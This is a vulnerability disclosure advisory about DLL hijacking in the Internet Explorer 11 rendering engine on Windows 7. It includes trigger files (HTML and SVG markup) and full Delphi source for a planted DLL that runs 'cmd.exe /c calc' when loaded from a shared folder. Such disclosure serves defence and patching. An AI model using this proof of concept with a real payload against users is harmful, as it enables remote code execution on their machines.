SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
DLL Hijacking vulnerability is caused by specific insecure programming practices that allow so-called “binary planting” or “DLL preloading attacks”. These practices could allow an attacker to remotely execute arbitrary code in the context of the user running the vulnerable application when the user opens a file from an untrusted location.
This issue is caused by applications passing an insufficiently qualified path when loading an external library. Microsoft has issued guidance to developers in the MSDN article, Dynamic-Link Library Security, on how to correctly use the available application programming interfaces to prevent this class of vulnerability. Microsoft is also actively reaching out to third-party vendors through the Microsoft Vulnerability Research Program to inform them of the mitigations available in the operating system. Microsoft is also actively investigating which of its own applications may be affected.
Vulnerability Details
The Microsoft Internet Explorer 11 rendering engine on Windows 7 contains a remote DLL hijacking vulnerability which searches for a component that by default does not exist in the system. Although the search order is “safe”, the current directory is still included thus allowing for a DLL hijack vulnerability to exist. Several vectors exist since the IE rendering engine is used by a lot of third parties software. In this proof of concept we will use, HTML documents and SVG documents, it is also possible to use Word documents but we will not show how to do this in this advisory.
The following options can be used to trigger the vulnerability:
Word Document
Upon opening the Word document (on Word 2007) from an SMB or WebDAV share containing a DLL named “api-ms-win-core-winrt-l1-1-0.dll” it is possible to trigger the vulnerability. This DLL is a 32-bit DLL if Office x86 is being used, if Office x64 is used (which is a bit more rare) the 64bit version of the DLL will be requested, in either case the DLL filename is the same.
HTML File
Upon right clicking the HTML document and selecting the “Print” menu option on systems (both x86 and x64) it is possible to trigger the vulnerability.
(Yes, the HTML is very simple one line)
<html> </html>
SVG File
The SVG file is another vector specially when Internet Explorer is not set as the default browser. The DLL for this one depends on the system platform. If it is x86 use the 32bit DLL, if it is x64 use the 64bit DLL.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml"
version="1.2" baseProfile="tiny" width="300px" height="200px">
<title>A textarea%pATHEXT%</title>
<desc>A textarea that illustrates the name collisions between svg and html</desc>
<svg:textArea width="200" height="50" />
xxxxxxxxxxx
</svg>
DLL Building (using Delphi)
The api-ms-win-core-winrt-l1-1-0.dll created below will run the command: “cmd.exe /c calc”. You can build the DLL used to exploit this vulnerability with Delphi Embarcadero XE 4. In the compiler you can select the platform (32 or 64bits).
library api-ms-win-core-winrt-l1-1-0;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
Windows;
{$R *.res}
function DllMain(): integer stdcall; export;
begin
WinExec('C:\windows\system32\cmd.exe /c calc',1);
end;
function CeSvcOpenW(): integer stdcall; export;
begin
WinExec('C:\windows\system32\cmd.exe /c calc',1);
end;
function CeSvcGetStringW (): integer stdcall; export;
begin
WinExec('C:\windows\system32\cmd.exe /c calc',1);
end;
function CeSvcClose(): integer stdcall; export;
begin
WinExec('C:\windows\system32\cmd.exe /c calc',1);
end;
exports
DllMain index 1,
CeSvcOpenW index 2,
CeSvcGetStringW index 3,
CeSvcClose index 4;
begin
end.
Vendor Response
An attempt to contact Microsoft has been responded that this vulnerability is not critical and does not require a patch. Recently Microsoft has released MS15-065 and MS15-069 which appear to resolve this vulnerability. We therefore release this information without waiting for Microsoft to release any “specific” patch for this vulnerability.
